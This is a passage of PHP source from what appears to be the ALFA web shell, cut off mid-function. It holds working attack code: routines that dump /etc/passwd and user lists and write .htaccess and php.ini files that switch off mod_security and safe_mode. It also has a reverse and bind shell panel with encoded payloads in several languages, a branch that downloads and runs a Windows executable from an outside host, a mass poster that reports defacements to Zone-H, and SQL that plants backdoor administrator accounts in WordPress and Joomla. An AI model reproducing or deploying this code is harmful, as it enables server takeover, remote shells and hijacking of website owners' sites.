if(isset($_POST[\'alfa9\']) && $_POST[\'alfa9\'] == \'>>\'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
$site = trim($_POST[\'alfa7\']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$user = "";
if(function_exists("posix_getpwuid") && function_exists("fileowner")){
	if($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
		$user = $user[\'name\'];
	}
}else{
	if(_alfa_can_runCommand(true,true)){
		$user = alfaEx("stat -c \'%U\' /etc/valiases/".$rep);
	}
}
if(!empty($user)&&$user!=\'root\'){
echo __pre()."<center><table border=\'1\'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
}else {echo __pre().\'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>\';}
}else{
$site = trim($_POST[\'alfa7\']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$ex = explode(":",$boz);
if($ex[0] == $rep){
echo __pre()."<center><table border=\'1\'>
<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
if(!empty($_POST[\'alfa5\']) && isset($_POST[\'alfa5\'])){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$i = 0;
while ($i < 60000) {
$line = @posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vl) = each($line)){
echo $vl."
";
break;}}$i++;}
}else{echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$user = explode(":",$boz);
echo trim($user[1]).\'<br>\';}}}
if(!empty($_POST[\'alfa4\']) && isset($_POST[\'alfa4\'])){
echo __pre();
if(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){
for($uid=0;$uid<60000;$uid++){
$ara = @posix_getpwuid($uid);
if(!empty($ara)){
while(list ($key, $val) = each($ara)){
echo "$val:";
}echo "
";}}
}else{__alert(\'failed...\');}}
if(!empty($_POST[\'alfa2\']) && isset($_POST[\'alfa2\'])){
@__write_file($GLOBALS[\'cwd\'].".htaccess","#Generated By Sole Sad and Invisible
<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>");
echo \'<center><b><big>htaccess for Apache created...!</center></b></big>\';
}
if(!empty($_POST[\'alfa1\'])&& isset($_POST[\'alfa1\'])){
@__write_file($GLOBALS[\'cwd\']."php.ini","safe_mode=OFF
disable_functions=ByPassed");
echo \'<center><b><big> php.ini created...!</center></b></big>\';
}
if(!empty($_POST[\'alfa3\']) && isset($_POST[\'alfa3\'])){
@__write_file($GLOBALS[\'cwd\'].".htaccess","#Generated
<Files *.php>
ForceType application/x-httpd-php4
</Files>
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>");
echo \'<center><b><big>htaccess for Litespeed created...!</center></b></big>\';
}
echo "<br></div>";
alfafooter();
}
function __get_resource($content){
return @gzinflate(__ZGVjb2Rlcg($content));
}
function __write_file($file, $content){
if($fh = @fopen($file, "wb")){
if(fwrite($fh, $content)!==false) return true;
}
return false;
}
function bcinit($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "<font color=\'green\'>[ Success...! ]</font>";
$err = "<font color=\'red\'>[ Failed...! ]</font>";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="c"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
if(__write_file($path, $evalCode)){
$ext = ($GLOBALS[\'sys\']==\'win\')? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
alfaEx($cmd);
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = $pathres.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}elseif($evalType=="java"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
if(__write_file($path, $evalCode)){
$cmd = "javac ".$evalOptions.$path;
alfaEx($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = "java ".$filename.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}
return false;
}
function alfaconnect(){
alfahead();
$php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
$python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
$perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
$ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
$c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
$java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
echo "<div class=header><center><br><div class=\'txtfont_header\'>| Back Connect |</div><br><br>";
echo "<form onSubmit=\"g(\'connect\',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">
<div class=\"txtfont\">Mehtod:</div> <select name=\'cbmethod\' onChange=\'ctlbc(this);\' style=\'width:120px;\'><option value=\'back\'>Reverse Shell</option><option value=\'bind\'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name=\'selectCb\'>";
$cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");
foreach($cbArr as $key=>$val){echo("<option value=\'{$key}\' ".($GLOBALS[\'sys\']==\'win\'?\'selected\':\'\').">{$val}</option>");}
echo "</select> <div id=\'bcipAction\' style=\'display:inline-block;\'><div class=\"txtfont\">IP:</div> <input type=\'text\' style=\'text-align:center;\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'></div> <div class=\"txtfont\">Port: </div> <input type=\'text\' size=\'5\' style=\'text-align:center;\' name=\'port\' value=\'2012\'> <input type=\'submit\' value=\' \'></form><p><div id=\'bcStatus\'><small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small></div></p></center></b></font><br>";
if(isset($_POST[\'alfa1\'])&&!empty($_POST[\'alfa1\'])){
$lang = $_POST[\'alfa1\'];
$ip = $_POST[\'alfa2\'];
$port = $_POST[\'alfa3\'];
$arg = ($_POST[\'alfa4\']==\'bind\'?$port:$port.\' \'.$ip);
$tmpdir = ALFA_TEMPDIR;
$name = $tmpdir.\'/\'.$lang.uniqid().rand(1,99999);
$allow = array(\'perl\',\'ruby\',\'python\',\'node\');
eval(\'$lan=$\'.$lang.\';\');
if(in_array($lang,$allow)){
if(__write_file($name,__get_resource($lan))){
if(_alfa_can_runCommand(true,true)){
$os = ($GLOBALS[\'sys\']!=\'win\')?\'1>/dev/null 2>&1 &\':\'\';
$out = alfaEx("$lang $name $arg $os");
if($out==\'\'){$out="<font color=\'green\'><center>[ Finished...! ]</center></font>";}
echo("<pre class=\'ml1\' style=\'margin-top:5px\'>{$out}</pre>");
}
}else{
echo("<pre class=ml1 style=\'margin-top:5px\'><font color=\'red\'><center>[ Failed...! ]</center></font></pre>");
}
}
if($lang==\'java\'||$lang==\'c\'){
$code = __get_resource($lan);
$out = nl2br(bcinit($lang, $code,\'\',\'\'));
echo("<pre class=ml1 style=\'margin-top:5px\'><center>{$out}</center></pre>");
}
if($lang==\'bcwin\'){
$alfa = new AlfaCURL();
$s = $alfa->Send(\'http://solevisible.com/bc/windows.exe\');
$tmpdir = ALFA_TEMPDIR;
$f = @fopen($tmpdir.\'/bcwin.exe\',\'w+\');
@fwrite($f, $s);
@fclose($f);
$out = alfaEx($tmpdir."/bcwin.exe ".$_POST[\'alfa2\']." ".$_POST[\'alfa3\']);
}
if($lang==\'php\'){
echo "<pre class=ml1 style=\'margin-top:5px\'>";
$code = __get_resource($lan);
if($code!==false){
$code = "\$target = \"".$arg."\";
".$code;
eval($code);
echo("<center><font color=\'green\'>[ Finished...! ]</font></center>");
}
echo "</pre>";
}
}
echo "</div>";
alfafooter();
}
function alfazoneh(){
alfahead();
echo \'<div class=header>\';
if(!function_exists(\'curl_version\')){
echo "<pre class=ml1 style=\'margin-top:5px\'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
}
$hackmode = array(\'known vulnerability (i.e. unpatched system)\',\'undisclosed (new) vulnerability\',\'configuration / admin. mistake\',\'brute force attack\',\'social engineering\',\'Web Server intrusion\',\'Web Server external module intrusion\',\'Mail Server intrusion\',\'FTP Server intrusion\',\'SSH Server intrusion\',\'Telnet Server intrusion\',\'RPC Server intrusion\',\'Shares misconfiguration\',\'Other Server intrusion\',\'SQL Injection\',\'URL Poisoning\',\'File Inclusion\',\'Other Web Application bug\',\'Remote administrative panel access bruteforcing\',\'Remote administrative panel access password guessing\',\'Remote administrative panel access social engineering\',\'Attack against administrator(password stealing/sniffing)\',\'Access credentials through Man In the Middle attack\',\'Remote service password guessing\',\'Remote service password bruteforce\',\'Rerouting after attacking the Firewall\',\'Rerouting after attacking the Router\',\'DNS attack through social engineering\',\'DNS attack through cache poisoning\',\'Not available\',\'Cross-Site Scripting\');
$reason = array(\'Heh...just for fun!\',\'Revenge against that website\',\'Political reasons\',\'As a challenge\',\'I just want to be the best defacer\',\'Patriotism\',\'Not available\');
echo \'
<center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>
<form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\'>>\'); return false;">
<input type="text" name="defacer" size="67" id="text" placeholder="" />
<br>
<select id="text" name="hackmode" style="width:400px;">\';
$x=1;
foreach($hackmode as $mode){echo(\'<option style="background-color: rgb(F, F, F);" value="\'.$x.\'">\'.$mode.\'</option>\');$x++;}
echo \'</select><br><select id="text" name="reason" style="width:200px;">\';
$x=1;
foreach($reason as $mode){echo(\'<option style="background-color: rgb(F, F, F);" value="\'.$x.\'">\'.$mode.\'</option>\');$x++;}
echo \'</select><br>
<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
<p><input type="submit" value=" " name="go" /></p>
</form></center>\';
if($_POST[\'alfa5\'] && $_POST[\'alfa5\'] == \'>>\'){
ob_start();
$hacker = $_POST[\'alfa1\'];
$method = $_POST[\'alfa2\'];
$neden = $_POST[\'alfa3\'];
$site = $_POST[\'alfa4\'];
if(empty($hacker)){
die (__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
}elseif($method == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
}elseif($neden == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
}elseif(empty($site)){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
}
$i = 0;
$sites = explode("
", $site);
$alfa = new AlfaCURL();
while($i < count($sites)){
if(substr($sites[$i], 0, 4) != "http"){
$sites[$i] = "http://".$sites[$i];
}
$alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);
++$i;
}
echo __pre()."<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
}
echo "</div>";
alfafooter();
}
function alfapwchanger(){
alfahead();

echo \'<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>
<center><h3>\';
$vals = array(\'WordPress\' => array(\'wp\',2),\'Joomla\' => array(\'joomla\',3),\'vBulletin\' => array(\'vb\',5),\'phpBB\' => array(\'phpbb\',6),\'WHMCS\' => array(\'whmcs\',7),\'MyBB\' => array(\'mybb\',8),\'Php Nuke\' => array(\'nuke\',9),\'Drupal\' => array(\'drupal\',10),\'SMF\' => array(\'smf\',11));
Alfa_Create_A_Tag(\'pwchanger\',$vals);
echo \'</h3></center>\';
if(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'wp\'){

echo __pre().\'<center><center><div class="txtfont_header">| WordPress |</div>
<p>\'.getConfigHtml(\'wp\').\'</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">\';
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\',\'id\'=>\'db_host\', \'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'wp_\', \'inputSize\' => \'50\'),
 \'td6\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),
 \'td7\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'kh\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),
 \'td8\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'[email protected]\', \'inputSize\' => \'50\')
);
create_table($table);
echo \'<p><input value=" " name="send" type="submit"></p></form>\';
if ($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){
$localhost = $_POST[\'alfa3\'];
$database = $_POST[\'alfa4\'];
$username = $_POST[\'alfa5\'];
$password = $_POST[\'alfa6\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
$prefix = $_POST[\'alfa10\'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,\'$admin\',\'d4a590caacc0be55ef286e40a945ea45\',\'$SQL\')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login=\'".$admin."\'") or die(mysqli_error($conn));
$sole = @mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis = @mysqli_fetch_assoc($solevisible);
$res = $solevis[\'ID\'];
}
$solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'first_name\',\'solevisible\'),(null,\'".$res."\',\'last_name\',\'solevisible\'),(null,\'".$res."\',\'nickname\',\'solevisible\'),(null,\'".$res."\',\'description\',\'solevisible\'),(null,\'".$res."\',\'rich_editing\',\'true\'),(null,\'".$res."\',\'comment_shortcuts\',\'false\'),(null,\'".$res."\',\'admin_color\',\'fresh\'),(null,\'".$res."\',\'use_ssl\',\'0\'),(null,\'".$res."\',\'show_admin_bar_front\',\'true\'),(null,\'".$res."\',\'".$prefix."capabilities\',\'a:1:{s:13:\"administrator\";b:1;}\'),(null,\'".$res."\',\'".$prefix."user_level\',\'10\'),(null,\'".$res."\',\'show_welcome_panel\',\'1\'),(null,\'".$res."\',\'".$prefix."dashboard_quick_press_last_post_id\',\'3\')") or die(mysqli_error($conn));
if($solevisible){
__alert(\'Success... \'.$admin.\' is created...\');}
}
}
if($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'joomla\'){

echo __pre().\'<center><center><div class="txtfont_header">| Joomla |</div><p><p>\'.getConfigHtml(\'joomla\').\'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">\';
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'jos_\', \'inputSize\' => \'50\'),
 \'td6\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),
 \'td7\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),
 \'td8\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'[email protected]\', \'inputSize\' => \'50\')
);
create_table($table);
echo \'<p><input value=" " name="send" type="submit"></p></form></center>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa3\'];
$database = $_POST[\'alfa4\'];
